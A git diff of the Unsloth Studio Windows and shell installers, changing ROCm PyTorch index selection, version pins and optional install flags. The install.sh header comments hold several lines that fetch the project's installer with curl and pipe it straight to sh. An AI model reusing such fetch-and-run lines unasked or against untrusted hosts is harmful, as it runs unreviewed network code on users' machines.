'rocm' } - # gfx must be followed by a digit (an architecture leaf); gfx-private is custom. - if ($leaf -match '^gfx[0-9]') { return 'rocm' } + if ($leaf -match '^gfx') { return 'rocm' } return $null } @@ -2324,10 +2016,6 @@ exit 0 } catch { return $null } } - # An explicit pin is authoritative: the AMD ROCm reroute below must not rewrite it - # (e.g. a deliberate cpu pin on an AMD host). - $TorchIndexPinned = (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) -or ` - (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY)) $TorchIndexUrl = Get-TorchIndexUrl # ── GPU arch → newest compatible Windows ROCm wheel release ── @@ -2339,20 +2027,13 @@ exit 0 # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped / mirror installs. $ROCmIndexUrl = $null $ROCmTorchFloor = $null - $PinnedRocmVisionSpec = $null - $PinnedRocmAudioSpec = $null - if (-not $TorchIndexPinned -and ($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) { + if (($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) { $amdIndexBase = if ($env:UNSLOTH_ROCM_WINDOWS_MIRROR) { $env:UNSLOTH_ROCM_WINDOWS_MIRROR.TrimEnd('/') } else { "https://repo.amd.com/rocm/whl" } $archFamilyMap = @{ "gfx1201" = "gfx120X-all"; "gfx1200" = "gfx120X-all" # RDNA 4 "gfx1151" = "gfx1151"; "gfx1150" = "gfx1150" # RDNA 3.5 (Strix Halo/Point) - "gfx1152" = "gfx1152" # RDNA 3.5 (Krackan Point) "gfx1103" = "gfx110X-all"; "gfx1102" = "gfx110X-all" # RDNA 3 "gfx1101" = "gfx110X-all"; "gfx1100" = "gfx110X-all" - "gfx1036" = "gfx103X-all"; "gfx1035" = "gfx103X-all" # RDNA 2 (RX 6000) - "gfx1034" = "gfx103X-all"; "gfx1033" = "gfx103X-all" - "gfx1032" = "gfx103X-all"; "gfx1031" = "gfx103X-all" - "gfx1030" = "gfx103X-all" "gfx90a" = "gfx90a"; "gfx908" = "gfx908" # MI200/MI100 } # gfx120X (RDNA 4) and gfx1151/gfx1150 (Strix) have a null-pointer bug in @@ -2368,7 +2049,6 @@ exit 0 $torchFloorMap = @{ "gfx1201" = "torch>=2.11.0,<2.12.0"; "gfx1200" = "torch>=2.11.0,<2.12.0" "gfx1151" = "torch>=2.11.0,<2.12.0"; "gfx1150" = "torch>=2.11.0,<2.12.0" - "gfx1152" = "torch>=2.11.0,<2.12.0" } # Companion ranges track the torch ceiling so pip resolves a consistent # trio on AMD's per-arch index (each published independently). Mirrors @@ -2376,12 +2056,10 @@ exit 0 $torchvisionFloorMap = @{ "gfx1201" = "torchvision>=0.26.0,<0.27.0"; "gfx1200" = "torchvision>=0.26.0,<0.27.0" "gfx1151" = "torchvision>=0.26.0,<0.27.0"; "gfx1150" = "torchvision>=0.26.0,<0.27.0" - "gfx1152" = "torchvision>=0.26.0,<0.27.0" } $torchaudioFloorMap = @{ "gfx1201" = "torchaudio>=2.11.0,<2.12.0"; "gfx1200" = "torchaudio>=2.11.0,<2.12.0" "gfx1151" = "torchaudio>=2.11.0,<2.12.0"; "gfx1150" = "torchaudio>=2.11.0,<2.12.0" - "gfx1152" = "torchaudio>=2.11.0,<2.12.0" } $archFamily = if ($ROCmGfxArch -and $archFamilyMap.ContainsKey($ROCmGfxArch)) { $archFamilyMap[$ROCmGfxArch] } else { $null } if ($archFamily) { @@ -2399,32 +2077,6 @@ exit 0 } } - # A gfx*/rocm pin skips the auto-reroute above, but the generic CPU/CUDA install below - # would use torch>=2.4,<2.11 and pull a known-bad wheel on the gfx115x/gfx120x/rocm>=7.2 - # indexes (the _grouped_mm bug). Route a pinned ROCm index through the ROCm path. - if ($TorchIndexPinned -and -not $ROCmIndexUrl -and -not $SkipTorch) { - $_pinLeaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLower() - $_pinRocm211 = $false - # Anchor ($) so a suffixed custom leaf (rocm7.2-private) falls through to verbatim. - if ($_pinLeaf -match '^rocm(\d+)\.(\d+)$') { - # Only KNOWN-2.11 rocm (rocm7.2) gets the floor. Matches Test-RocmKnown211Version. - $_pinRocm211 = ([int]$Matches[1] -eq 7 -and [int]$Matches[2] -eq 2) - } - # Only the 2.11-allowlist gfx arches need the floor; others publish <2.11 and stay bare. - $_pinGfx211 = @('gfx120x-all', 'gfx1151', 'gfx1150', 'gfx1152') -contains $_pinLeaf - if ($_pinGfx211 -or $_pinRocm211) { - $ROCmIndexUrl = $TorchIndexUrl - $ROCmTorchFloor = "torch>=2.11.0,<2.12.0" - $PinnedRocmVisionSpec = "torchvision>=0.26.0,<0.27.0" - $PinnedRocmAudioSpec = "torchaudio>=2.11.0,<2.12.0" - substep "pinned ROCm index ($_pinLeaf) -- enforcing $ROCmTorchFloor" "Cyan" - } elseif ($_pinLeaf -match '^gfx[0-9]' -or $_pinLeaf -match '^rocm[0-9]+(\.[0-9]+)?$') { - # Other gfx / older rocm (<=7.1) ship torch <2.11; route via the ROCm path with - # bare specs. Only EXACT rocm/gfx* are families; a suffixed leaf is verbatim. - $ROCmIndexUrl = $TorchIndexUrl - } - } - if ($ROCmIndexUrl) { $TorchIndexFamily = "rocm" } else { @@ -2487,14 +2139,14 @@ exit 0 } if ($_Migrated) { - # Migrated env: force-reinstall unsloth+unsloth-zoo for a clean state, preserving - # existing torch/CUDA unless the flavor repair below re-lands it. + # Migrated env: force-reinstall unsloth+unsloth-zoo to ensure clean state + # in the new venv location, while preserving existing torch/CUDA Write-TauriLog "STEP" "Installing unsloth" substep "upgrading unsloth in migrated environment..." if ($SkipTorch) { # No-torch: install unsloth + unsloth-zoo with --no-deps, then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" } if ($baseInstallExit -eq 0) { # Resolve pydantic WITH deps so pip pins pydantic-core # to the matching version (no-torch-runtime.txt below @@ -2508,7 +2160,7 @@ exit 0 } } } else { - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" } } if ($baseInstallExit -ne 0) { Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red @@ -2516,7 +2168,7 @@ exit 0 } if ($StudioLocalInstall) { substep "overlaying local repo (editable)..." - $overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps } + $overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps } if ($overlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit) @@ -2533,24 +2185,22 @@ exit 0 substep "skipping PyTorch (--no-torch flag set)." "Yellow" } elseif ($ROCmIndexUrl) { Write-TauriLog "STEP" "Installing PyTorch (AMD ROCm Windows)" - substep "installing PyTorch from $(Remove-IndexUrlCredentials $ROCmIndexUrl)..." + substep "installing PyTorch from $ROCmIndexUrl..." $torchSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" } # Pin the companions to match $torchSpec; bare names can resolve an # ABI-incompatible torchvision/torchaudio on AMD's per-arch index. - $visionSpec = if ($PinnedRocmVisionSpec) { $PinnedRocmVisionSpec } elseif ($ROCmGfxArch -and $torchvisionFloorMap -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } - $audioSpec = if ($PinnedRocmAudioSpec) { $PinnedRocmAudioSpec } elseif ($ROCmGfxArch -and $torchaudioFloorMap -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } - $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec } + $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } + $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec $visionSpec $audioSpec } if ($torchInstallExit -ne 0) { - # Transient AMD-index failure: fall back to a CPU base (Unsloth setup retries - # ROCm). Use an explicit CPU index -- for a pinned ROCm index $TorchIndexUrl IS - # the ROCm mirror, so reusing it would just retry it. - $CpuFallbackIndexUrl = if ($env:UNSLOTH_PYTORCH_MIRROR) { "$($env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/'))/cpu" } else { "https://download.pytorch.org/whl/cpu" } - substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Unsloth setup retries ROCm." "Yellow" + # Transient AMD-index failure: fall back to a CPU base so the install + # still completes; Studio setup retries ROCm afterwards. + substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Studio setup retries ROCm." "Yellow" # --force-reinstall: a failed ROCm install can leave an unpinned ROCm # torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU # torch>= range, so without it uv would keep the ROCm build and only swap # the companions -- a mismatched venv the flavor-repair block won't fix. - $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" "torchvision>=0.19,<0.26.0" "torchaudio>=2.4,<2.11.0" --default-index $CpuFallbackIndexUrl } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl } if ($torchInstallExit -ne 0) { Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit) @@ -2563,27 +2213,8 @@ exit 0 } } else { Write-TauriLog "STEP" "Installing PyTorch" - # Windows on ARM lacks only torchaudio (whl/cpu win_arm64: torch 42, - # torchvision 60, torchaudio 0), so drop that pin instead of aborting. Ask the - # interpreter, not PROCESSOR_ARCHITECTURE; reached when no x64 Python exists. - $VenvPlatform = "" - try { - $VenvPlatform = (& $VenvPython -c "import sysconfig; print(sysconfig.get_platform())" 2>$null | Out-String).Trim().ToLowerInvariant() - } catch { $VenvPlatform = "" } - substep "installing PyTorch ($(Remove-IndexUrlCredentials $TorchIndexUrl))..." - # Bound the companions to the capped torch on EVERY index, cu - # families included: torchaudio 2.11 dropped its exact torch pin from - # the wheel metadata, so a bare companion next to torch<2.11 can - # resolve a mismatched 2.11.0 build. Mirrors install.sh. - $_pinVisionSpec = "torchvision>=0.19,<0.26.0" - $_pinAudioSpec = "torchaudio>=2.4,<2.11.0" - $_torchSpecs = @("torch>=2.4,<2.11.0", $_pinVisionSpec, $_pinAudioSpec) - if ($VenvPlatform -eq "win-arm64") { - substep "windows on arm: skipping torchaudio (upstream publishes no" - substep "win_arm64 wheel); torch and torchvision install normally." - $_torchSpecs = @("torch>=2.4,<2.11.0", $_pinVisionSpec) - } - $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython @_torchSpecs --default-index $TorchIndexUrl } + substep "installing PyTorch ($TorchIndexUrl)..." + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl } if ($torchInstallExit -ne 0) { Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit) @@ -2595,7 +2226,7 @@ exit 0 if ($SkipTorch) { # No-torch: install unsloth + unsloth-zoo with --no-deps, then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" } if ($baseInstallExit -eq 0) { # Same pydantic-with-deps trick as the migrated branch. $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic } @@ -2607,7 +2238,7 @@ exit 0 } } } elseif ($StudioLocalInstall) { - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" } } else { $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" } } @@ -2618,7 +2249,7 @@ exit 0 if ($StudioLocalInstall) { substep "overlaying local repo (editable)..." - $overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps } + $overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps } if ($overlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit) @@ -2635,13 +2266,13 @@ exit 0 Write-TauriLog "STEP" "Installing unsloth" substep "installing unsloth (this may take a few minutes)..." if ($StudioLocalInstall) { - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.6" "unsloth>=2026.7.5" --torch-backend=auto } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto } if ($baseInstallExit -ne 0) { Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit) } substep "overlaying local repo (editable)..." - $overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps } + $overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps } if ($overlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit) @@ -2661,19 +2292,12 @@ exit 0 } } - $installedPackageVersion = (& $VenvPython -c "from importlib.metadata import version; import sys; print(version(sys.argv[1]))" $PackageName 2>$null | Out-String).Trim() - if ($LASTEXITCODE -eq 0 -and $installedPackageVersion) { - step $PackageName "$installedPackageVersion installed" - } else { - substep "[WARN] installed $PackageName version could not be determined" "Yellow" - } - # ── Enforce the installed torch flavor matches the detected GPU build ── # PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv # keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on # "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is # expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx* - # is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install + # is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install # above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops. if (-not $SkipTorch) { $expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl @@ -2686,10 +2310,10 @@ exit 0 $rocmSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" } # Pin companions like the fresh ROCm path (bare names can pull an # ABI-incompatible torchvision/torchaudio from the per-arch index). - $visionSpec = if ($PinnedRocmVisionSpec) { $PinnedRocmVisionSpec } elseif ($ROCmGfxArch -and $torchvisionFloorMap -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } - $audioSpec = if ($PinnedRocmAudioSpec) { $PinnedRocmAudioSpec } elseif ($ROCmGfxArch -and $torchaudioFloorMap -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } + $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } + $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow" - $torchFixExit = Invoke-InstallCommand -Label "reinstall PyTorch (ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec } + $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec } if ($torchFixExit -ne 0) { Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit) @@ -2698,7 +2322,7 @@ exit 0 } elseif ($expectedTorchTag -ne 'rocm') { # CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet. substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow" - $torchFixExit = Invoke-InstallCommand -Label "reinstall PyTorch ($expectedTorchTag)" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" "torchvision>=0.19,<0.26.0" "torchaudio>=2.4,<2.11.0" --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio } + $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio } if ($torchFixExit -ne 0) { Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit) @@ -2773,7 +2397,7 @@ exit 0 Write-TauriLog "ERROR" "unsloth CLI was not installed correctly" Write-Host "[ERROR] unsloth CLI was not installed correctly." -ForegroundColor Red Write-Host " Expected: $UnslothExe" -ForegroundColor Yellow - Write-Host " This usually means an older unsloth version was installed that does not include the Unsloth CLI." -ForegroundColor Yellow + Write-Host " This usually means an older unsloth version was installed that does not include the Studio CLI." -ForegroundColor Yellow Write-Host " Try re-running the installer or see: https://github.com/unslothai/unsloth?tab=readme-ov-file#-quickstart" -ForegroundColor Yellow return (Exit-InstallFailure "unsloth CLI was not installed correctly") } @@ -2799,9 +2423,6 @@ exit 0 # an inherited value would put llama.cpp in the wrong place. $previousUnslothStudioHome = $env:UNSLOTH_STUDIO_HOME $hadPreviousUnslothStudioHome = ($null -ne $previousUnslothStudioHome) - $previousTauriMode = $env:UNSLOTH_TAURI_MODE - $hadPreviousTauriMode = ($null -ne $previousTauriMode) - $env:UNSLOTH_TAURI_MODE = if ($TauriMode) { "1" } else { "0" } if ($StudioRedirectMode -eq 'env') { $env:UNSLOTH_STUDIO_HOME = $StudioHome } else { @@ -2809,13 +2430,6 @@ exit 0 } $studioArgs = @('studio', 'setup') if ($script:UnslothVerbose) { $studioArgs += '--verbose' } - if ($WithLlamaCppDir) { - if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) { - Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red - return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.") - } - $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path - } $env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1" # Hand the venv interpreter to setup.ps1 so it reuses the Python we already # resolved and built the venv with, instead of re-probing the system (which @@ -2831,22 +2445,13 @@ exit 0 } else { Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue } - if ($hadPreviousTauriMode) { - $env:UNSLOTH_TAURI_MODE = $previousTauriMode - } else { - Remove-Item Env:UNSLOTH_TAURI_MODE -ErrorAction SilentlyContinue - } - Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue } if ($setupExit -ne 0) { - if (-not $TauriMode) { - Write-Host "[ERROR] unsloth studio setup failed (exit code $setupExit)" -ForegroundColor Red - } + Write-Host "[ERROR] unsloth studio setup failed (exit code $setupExit)" -ForegroundColor Red return (Exit-InstallFailure "unsloth studio setup failed (exit code $setupExit)" $setupExit) } - Clear-TauriInstallError "studio setup completed" # ── Expose `unsloth` via a shim dir containing only unsloth.exe ── # We do NOT add the venv Scripts dir to PATH (it also holds python.exe @@ -2895,7 +2500,7 @@ exit 0 Write-Host " Move or remove it manually, then re-run the installer." -ForegroundColor Yellow throw "Cannot create unsloth launcher: $ShimExe is a directory." } - # try/catch: if unsloth.exe is locked (Unsloth running), keep the old shim. + # try/catch: if unsloth.exe is locked (Studio running), keep the old shim. $shimUpdated = $false try { if (Test-Path -LiteralPath $ShimExe) { Remove-Item -LiteralPath $ShimExe -Force -ErrorAction Stop } @@ -2913,7 +2518,7 @@ exit 0 if (Test-Path -LiteralPath $ShimExe) { Write-Host "[WARN] Could not refresh unsloth launcher at $ShimExe." -ForegroundColor Yellow Write-Host " This usually means a running 'unsloth studio' process still holds the file open." -ForegroundColor Yellow - Write-Host " Close Unsloth and re-run the installer to pick up the latest launcher." -ForegroundColor Yellow + Write-Host " Close Studio and re-run the installer to pick up the latest launcher." -ForegroundColor Yellow Write-Host " Continuing with the existing launcher." -ForegroundColor Yellow } else { Write-Host "[WARN] Could not create unsloth launcher at $ShimExe" -ForegroundColor Yellow @@ -2934,13 +2539,6 @@ exit 0 } Refresh-SessionPath # sync current session with registry Complete-StudioVenvRollback - $studioVenvReplacementCommitted = $true - Remove-StaleStudioVenvRollbacks - } finally { - if (-not $studioVenvReplacementCommitted) { - Restore-StudioVenvRollback - } - } # Env-mode session export AFTER Refresh-SessionPath; otherwise a legacy # User PATH entry (Machine > User > current $env:Path) would win. @@ -2985,10 +2583,9 @@ exit 0 # Diagnostic only; never block install on a probe failure. } - # In interactive terminals, ask the user before starting Unsloth unless the - # caller explicitly disabled the post-install prompt. + # In interactive terminals, ask the user before starting Studio. # In non-interactive environments (CI, Docker) just print instructions. - $IsInteractive = (-not $SkipAutostart) -and [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected) + $IsInteractive = [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected) if ($IsInteractive) { Write-Host "" $reply = Read-Host " Start Unsloth Studio now? [Y/n]" @@ -2997,8 +2594,8 @@ exit 0 } else { step "launch" "to start later, run:" substep "unsloth studio -p 8888" - substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)" - substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)" + substep "(add -H 0.0.0.0 to allow network / cloud access)" + substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)" Write-Host "" } } else { @@ -3018,8 +2615,8 @@ exit 0 substep "& $_actLiteral" substep "unsloth studio -p 8888" } - substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)" - substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)" + substep "(add -H 0.0.0.0 to allow network / cloud access)" + substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)" Write-Host "" } } diff --git a/install.sh b/install.sh index 166beeb52c..7a9f0be87f 100755 --- a/install.sh +++ b/install.sh @@ -8,9 +8,8 @@ # # Piped installs take options as env vars after the pipe (a bare `| sh --no-torch` # makes sh reject --no-torch as its own option). Flags still work via ./install.sh: -# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh # skip PyTorch (GGUF-only) -# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh # do not prompt to launch -# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh # pin Python version +# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh # skip PyTorch (GGUF-only) +# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh # pin Python version # curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh # Equivalent flags: ./install.sh --no-torch --python 3.12 (or pipe them: sh -s -- --no-torch) # @@ -19,17 +18,6 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 set -e -# ── Why the installer lives in a function ── -# Under `curl ... | sh`, sh is the pipe READER. This file is ~150KB, so a top-level -# `exit` left most of it unread, the write end failed, and curl tacked -# "(56) Failure writing output to destination" onto our own error message. Wrapping -# the body forces sh to parse to the closing brace first, so the pipe always drains -# (install.ps1 has always had this shape). -# -# Body is deliberately NOT reindented: reflowing 4000+ lines would bury the change, -# and `exit` still exits the shell from inside a function. Do not add -# `exec < /dev/null`: for a piped shell that closes the script's own source. -_unsloth_main() { # ── Output style (aligned with studio/setup.sh) ── RULE="" @@ -61,16 +49,10 @@ PACKAGE_NAME="unsloth" TAURI_MODE=false _USER_PYTHON="" _NO_TORCH_FLAG=false -_SKIP_AUTOSTART=false _VERBOSE=false _SHORTCUTS_ONLY=false _next_is_package=false _next_is_python=false -_next_is_llama_cpp_dir=false -# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR -# (the documented piped-install style) is honored; the --with-llama-cpp-dir -# flag below overrides it when given. -_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" for arg in "$@"; do if [ "$_next_is_package" = true ]; then PACKAGE_NAME="$arg" @@ -82,11 +64,6 @@ for arg in "$@"; do _next_is_python=false continue fi - if [ "$_next_is_llama_cpp_dir" = true ]; then - _WITH_LLAMA_CPP_DIR="$arg" - _next_is_llama_cpp_dir=false - continue - fi case "$arg" in --local) STUDIO_LOCAL_INSTALL=true ;; --package) _next_is_package=true ;; @@ -95,20 +72,18 @@ for arg in "$@"; do --no-torch) _NO_TORCH_FLAG=true ;; --verbose|-v) _VERBOSE=true ;; --shortcuts-only) _SHORTCUTS_ONLY=true ;; - --with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;; esac done # Env-var equivalents for piped installs; an explicit flag still wins. case "${UNSLOTH_NO_TORCH:-}" in 1|true|TRUE|yes|YES|on|ON) _NO_TORCH_FLAG=true ;; esac -case "${UNSLOTH_SKIP_AUTOSTART:-}" in 1|true|TRUE|yes|YES|on|ON) _SKIP_AUTOSTART=true ;; esac [ -z "$_USER_PYTHON" ] && [ -n "${UNSLOTH_PYTHON:-}" ] && _USER_PYTHON="$UNSLOTH_PYTHON" if [ "$_VERBOSE" = true ]; then export UNSLOTH_VERBOSE=1 fi -# Custom Unsloth roots are not supported with --tauri (desktop app still +# Custom Studio roots are not supported with --tauri (desktop app still # resolves ~/.unsloth/studio). Pass through if the override == legacy default. if [ "$TAURI_MODE" = true ]; then _tauri_override_var="" @@ -170,85 +145,20 @@ run_maybe_quiet() { fi } -# Trim trailing slashes from the URL PATH only, preserving ?query / #fragment: a whole-URL -# strip corrupts a token ending in "/", a single strip leaves .../cu128// empty. Shared. 